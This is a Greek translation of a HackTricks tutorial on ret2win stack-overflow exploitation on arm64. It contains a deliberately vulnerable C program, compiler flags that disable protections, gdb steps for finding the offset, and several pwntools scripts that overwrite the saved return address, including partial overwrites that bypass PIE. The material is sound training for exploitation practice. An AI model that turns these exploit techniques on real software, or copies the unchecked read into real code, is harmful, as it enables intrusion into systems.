Ret2win - arm64

Ret2win - arm64

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βρείτε μια εισαγωγή στο arm64 στο:

pageIntroduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Μεταγλωττίστε χωρίς την επιλογή pie και canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Εύρεση της μετατόπισης

Επιλογή μοτίβου

Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας το GEF:

Ξεκινήστε το gdb με το gef, δημιουργήστε ένα μοτίβο και χρησιμοποιήστε το:

gdb -q ./ret2win
pattern create 200
run

Το arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει διαρρεύσει), μπορούμε να χρησιμοποιήσουμε αυτό για να βρούμε την μετατόπιση του προτύπου:

pattern search $x30

Η μετατόπιση είναι 72 (9x48).

Επιλογή μετατόπισης στη στοίβα

Ξεκινήστε με την ανάκτηση της διεύθυνσης της στοίβας όπου αποθηκεύεται το pc register:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Τώρα ορίστε ένα σημείο ανακοπής μετά το read() και συνεχίστε μέχρι να εκτελεστεί το read() και ορίστε ένα πρότυπο όπως το 13371337:

b *vulnerable_function+28
c

Βρείτε πού αποθηκεύεται αυτό το πρότυπο στη μνήμη:

Στη συνέχεια: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Χωρίς PIE

Κανονικό

Αποκτήστε τη διεύθυνση της συνάρτησης win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Εκμετάλλευση:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Εκτός-2

Αντί να αντικαταστήσουμε όλη τη διεύθυνση επιστροφής, θα αντικαταστήσουμε μόνο τα τελευταία 2 bytes με 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Με PIE

Μεταγλωττίστε το δυαδικό χωρίς το όρισμα -no-pie

Off-by-2

Χωρίς διαρροή δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης που κερδίζει, αλλά μπορούμε να γνωρίζουμε τη μετατόπιση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε τη μετατόπιση προς τη συνάρτηση κέρδους (0x7d4) σε αυτήν την περίπτωση και απλά να χρησιμοποιήσουμε αυτήν τη μετατόπιση:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Άλλοι τρόποι υποστήριξης του HackTricks:

* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.

</details>

Last updated